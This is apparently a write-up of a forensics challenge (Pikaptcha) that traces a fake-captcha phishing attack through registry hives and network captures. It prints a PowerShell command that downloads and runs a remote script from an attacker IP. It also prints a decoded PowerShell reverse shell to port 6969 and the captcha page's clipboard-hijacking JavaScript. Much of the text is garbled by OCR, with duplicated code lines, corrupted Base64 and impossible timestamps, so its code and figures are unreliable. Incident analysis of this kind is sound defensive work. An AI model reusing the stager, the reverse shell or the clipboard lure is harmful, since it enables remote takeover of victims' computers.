## Pikaptcha

#### Sherlock Scenario

Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected ar attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.

### Task 1:

It is crucial to understand any payloads executed on the system for initial access. Analyzing registry hive for user happy grunwald. What is the full command that was run to download and execute the stager.

I parsed all the Registry Hives with RegRipper with the commands

rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209\_alert\_mssp\_action\C\Windows\System32 

rip, exe -r C:\Users\Bubble\Desktop\2024-09-23T052209\_alert\_mssp\_action\C\Windows\System32\config\SYSTEM \Bubble\Desktop\Registry\SYSTEM.txt rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209\_alert\_mssp\_action\C\Windows\System32\config\SOFTWARE -a > C:\Users \Bubble\Desktop\Registrv\SOFTWARE.txt rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209\_alert\_mssp\_action\C\Windows\System32\config\SECURITY -a > C:\Users \Bubble\Desktop\Registry\SECURITY.txt rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209\_alert\_mssp\_action\C\Windows\5ystem32\config\DEFAULT -a > C:\Users \Bubble\Desktop\Registry\DEFAULT.txt  $rip.exe -r C:\Users\Bubble\Desktop\2024-09-23T052209\_alert\_mssp\_action\C\Windows\System32\config\WTUSER.DAT -a > C:\Users\Bubble\Desktop\Registry\WTUSER.txt$ -r C:\Users\Bubble\Desktop\2024-09-23T052209\_alert\_mssp\_action\C\Users\happy.grunwald\NTUSER.DAT -a > C:\Users |Desktop\Registry\NTUSER.txt

Then I searched in Notepad++ for RunMRU. This artifact records the commands and file paths that have been executed through the Run dialog box (Windows + R).

Path: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU LastWrite Time 2024-09-23 05:07:45Z MRUList = ba %tmp%\1

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.psl')"\1

Can be also found by the Registry Explorer

Executable	Opened On
A⊡c	=
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"	2024-09-23 05:07:45

Answer: powershell -NOP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')'

## Task 2:

At what time in UTC did the malicious payload execute?

Same like previous task

Answer: 2024-09-23 05:07:45

The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script?

Took me sometime to understand that I just need to copy the command from task 4 into a new PS1 file and check the SHA256



Answer: 579284442094E1A44BEA9CFB7D8D794C8977714F827C97BCB2822A97742914DE

#### Task 4:

To which port did the reverse shell connect?

I was searching for the answer for task 3 on Wireshark with the IP address 43.205.115.44 but then I first found an HTTP stream

1488\_ 2024-09-23 05:07:47.547413 172.17.79.129 63588 43.205.115.44 80 HTTP 138 GET /office2024install.ps1 HTTP/1.1

### Inside the TCP Stream I saw a Base64

GET /office2024install.ps1 HTTP/1.1 Host: 43.205.115.44 Connection: Keep-Alive HTTP/1.1 200 OK Date: Mon, 23 Sep 2024 05:07:47 GMT Server: Apache/2.4.52 (Ubuntu)

HTTP/1.1 200 OK
Date: Mon, 23 Sep 2024 05:07:47 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Mon, 23 Sep 2024 04:42:29 GMT
ETag: "S4b-62220842f1086"
Accept-Ranges: bytes
Content-Length: 1355
Keep-Alive: timeout-5, max=100
Connection: Keep-Alive

## I used CyberChef to decode the Base64

# + 🗅 🗗 ≣ JABjAGwaaQBlAG4AdAAgAD0AIABOAGUAdwatAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAuAFMAbwBjAGSAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAOACIANAAZAC4AMgAwADUALgAXADEANQAU ADQANAAIACWANgASADYAOQApADsAJABZAHQACgBlAGEAbQAgAD0AIAAKAGMAbABPAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADSAWwBiAHkAdaBlaFsAXQBdACQAYgBSAHQAZQBZACAAPQAgADAALgAUADYA AC08DgB1ACAAMAAPAHSAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtaE8AYgBqAGUAYwB0ACAALQBUAHKACAB1AE4AYQBtAGUAIABTAHKACwB0AGUAbQAUAFQAZQB4AHQALgBBAFMAQwBJAEKARQBUAGMAbwBkAGKA bgBnaCkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzaCwAMAAsaCAAJABpACkAOwAkAHMAZQBUAGQAYgBhAGMAawAgAD0AIAAOAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAt AFMAdABYAGKAbgBnaCAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABZAGUAbgBkAGIAYQBjAGSAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA7ACQA CWB1AG4AZABiAHkAdaB1ACAAPQAgACgANwB9AGUAeAB9AC4AZQBuAGMAbwBkAGkAbgBnAF9AQgA6AEEAUwBDAEkASQApAC4ARwB1AHQAQgB5AHQAZQBZACgAJABZAGUAbgBkAGIAYQBjAG5AMgApAD5AJABZAHQACgB1 AGEADQAUAFCACgBPAHQAZQAOACQACwB1AG4AZAB1AHKAdAB1ACwAMAAsaCQAcwB1AG4AZAB1AHKAdAB1AC4ATAB1AG4AZwB0AGgAKQA7ACQAcwB0AH1AZQBhaG0ALgBGAGwadQBzAGgAKAApAH0AOwAkAGMADABpAGUA bgB0AC4AQwBsAG8AcwB1ACgAKQA= mmc 1340 = 1 Tr Raw Rytes 😝 LE Output \$client = New-Object System.Net.Sockets.TCPClient("43.205.115.44",6969);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = New-Object System.Net.Sockets.TCPClient("43.205.115.44",6969);\$stream = \$client.GetStream("43.205.115.44",6969);\$stream = Stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String);\$sendback2 = \$sendback + "PS" + (pwd).Path + "> ";\$sendbyte =

([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush());\$client.Close()]

Answer: 6969

Task 5: For how many seconds was the reverse shell connection established between C2 and the victim's workstation?

## I used the filter tcp.port == 6969

-	12	12222			7- 57	ATTENDED TO THE PROPERTY OF TH	_
Time	Source	SRC Port	Destnation			l Length Info	
149239 2024-09-23 05:07:48.073971	172.17.79.129		63589 43.205.115.44		9 TCP	66 63589 + 6969 [5YN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM	
149341 2024-09-23 05:07:48.137918	43.205.115.44		6969 172.17.79.129	63589		60 6969 + 63589 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460	
149342 2024-09-23 05:07:48.138142	172.17.79.129		63589 43.205.115.44		9 TCP	60 63589 → 6969 [ACK] Seq=1 Ack=1 Win=64240 Len=0	
180083 2024-09-23 05:08:20.447920	43.205.115.44		6969 172.17.79.129	63589		61 6969 + 63589 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=7	
180099 2024-09-23 05:08:20.497172	172.17.79.129		63589 43.205.115.44		TCP.	60 63589 + 6969 [ACK] Seq=1 Ack+8 Win=64233 Len=0	
180106 2024-09-23 05:08:20,528380	172.17.79.129		63589 43.205.115.44		TCP	124 63589 + 6969 [PSH, ACK] Seq=1 Ack=8 Win=64233 Len=70	
180107 2024-09-23 05:08:20.528380	43,205,115,44		6969 172.17.79.129	63589		60 6969 + 63589 [ACK] Seq=8 Ack=71 Win=64240 Len=0	
292733 2024-09-23 05:12:02.882001	43.205.115.44		6969 172.17.79.129	63589	TCP.	63 6969 + 63589 [PSM, ACK] Seq=8 Ack=71 Win=64240 Len=9	
292752 2024-09-23 05:12:02.929146	172.17.79.129		63589 43.205.115.44	6969	TCP	60 63589 + 6969 [ACK] Seq=71 Ack=17 Win=64224 Len=0	
293221 2024-09-23 05:12:03.774006	172.17.79.129		63589 43.205.115.44	6969	TCP.	181 63589 + 6969 [PSH, ACK] Seq=71 Ack=17 Win=64224 Len=47	
293222 2024-09-23 05:12:03.774041	43.205.115.44		6969 172.17.79.129	63589	F TCP	60 6969 + 63589 [ACK] Seq=17 Ack=118 Win=64240 Len=0	
294684 2024-09-23 05:12:07.914215	43.205.115.44		6969 172.17.79.129	63589	TCP	63 6969 + 63589 [PSH, ACK] Seq=17 Ack=118 Win=64240 Len=9	
294691 2024-09-23 05:12:07.928514	172.17.79.129		63589 43.205.115.44	6969	TCP.	443 63589 + 6969 [PSH, ACK] Seq=118 Ack=26 Win=64215 Len=389	
294692 2024-09-23 05:12:07.928514	43.205.115.44		6969 172.17.79.129	63589	TCP .	60 6969 + 63589 [ACK] Seq=26 Ack=507 Win=64240 Len=0	
331569 2024-09-23 05:12:57.644552	43.205.115.44		6969 172.17.79.129	63589	TCP.	135 6969 + 63589 [PSH, ACK] Seq=26 Ack=507 Win=64240 Len=81	
331575 2024-09-23 05:12:57.698920	172.17.79.129		63589 43.205.115.44	6969	9 TCP	60 63589 + 6969 [ACK] Seq=507 Ack=107 Win=64134 Len=0	
332196 2024-09-23 05:12:58.237817	172.17.79.129		63589 43.205.115.44	6969	TCP	101 63589 + 6969 [PSH, ACK] Seq=507 Ack=107 Win=64134 Len=47	
332197 2024-09-23 05:12:58.237817	43.205.115.44		6969 172.17.79.129	63589	TCP.	60 6969 + 63589 [ACK] Seq-107 Ack-554 Win-64240 Len-0	
364891 2024-09-23 05:13:32.376870	43.205.115.44		6969 172.17.79.129	63589	TCP .	206 6969 + 63589 [PSH, ACK] Seq=107 Ack=554 Win=64240 Len=152	
364904 2024-09-23 05:13:32.418645	172.17.79.129		63589 43.205.115.44	6969	TCP TCP	60 63589 + 6969 [ACK] Seq=554 Ack=259 Win=63982 Len=0	
461988 2024-09-23 05:14:19.252605	43.205.115.44		6969 172.17.79.129	63589	TCP	60 6969 + 63589 [PSH, ACK] Seq=259 Ack=554 Win=64240 Len=1	
461989 2024-09-23 05:14:19.306901	172.17.79.129		63589 43.205.115.44	6969	TCP	60 63589 + 6969 [ACK] Seq=554 Ack=260 Win=63981 Len=0	
462552 2024-09-23 05:14:19.663180	43,205,115,44		6969 172.17.79.129	63589	TCP.	60 6969 + 63589 [PSH, ACK] Seq=260 Ack=554 Win=64240 Len=1	
462728 2024-09-23 05:14:19.711576	172.17.79.129		63589 43.205.115.44	6965	TCP	60 63589 + 6969 [ACK] Seq=554 Ack=261 Win=63980 Len=0	
488668 2824-89-23 85:14:31.386896	43.205.115.44		6969 172.17.79.129	63589	TCP	68 6969 + 63589 [FIN, PSH, ACK] Seq-261 Ack-554 Win-64248 Len-8	
480663 2024-09-23 05:14:31.484932	43.205.115.44		6969 172.17.79 129	63589	TCP	60 [TCP Retransmission] 6969 + 63589 [FIN, PSH, ACK] Seq-261 Ack+554 Win=64248	1.0

Then I gave sent this picture to ChatGPT to calculate the seconds for me



- From the Wireshark capture you provided, we can determine the duration of the reverse shell connection by identifying the time of the connection establishment and termination:
  - Connection Establishment: The first SYN packet (No. 1492391) was sent at 2024-09-23 05:07:48.073971.
  - Connection Termination: The FIN, PSH, ACK packet (No. 480606) was sent at 2824-89-23 85:14:31.484932.

Now, let's calculate the duration:

Start Time: 2024-09-23 05:07:48.073971 End Time: 2024-09-23 05:14:31.484932

The time difference between these two timestamps is approximately 403 seconds.

So, the reverse shell connection was established for 403 seconds.

Answer: 403

## Task 6:

Attacker hosted a malicious Captcha to lure in users. What is the name of the function which contains the malicious payload to be pasted in victim's clipboard?

I found the answer after I checked several HTTP Streams with the IP 43.205.115.44.

```
function setClipboardCopyData(textToCopy){
   const tempTextArea = document.createElement("textarea");
   tempTextArea.value = textToCopy;
   document.body.append(tempTextArea);
   tempTextArea.select();
   document.body.oremoveChild(tempTextArea);
}
document.body.removeChild(tempTextArea);
}

function stageClipboard(commandToRun, verification_id){
        const revershell='powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
   const suffix = " # "
   const suffix = " # "
   const revershell - NoP - NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
   const suffix = " " "
   const revershell - NoP - NonI - W Hidden - Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
   const suffix = " # "
   const revershell - NoP - NonI - W Hidden - Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
   const suffix = " # "
   const revershell - NoP - NonI - W Hidden - Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
   const textToCopy = " " " "
   const textToCopy = revershell
   setClipboardCopyData(textToCopy);
}
```

Answer: stageClipboard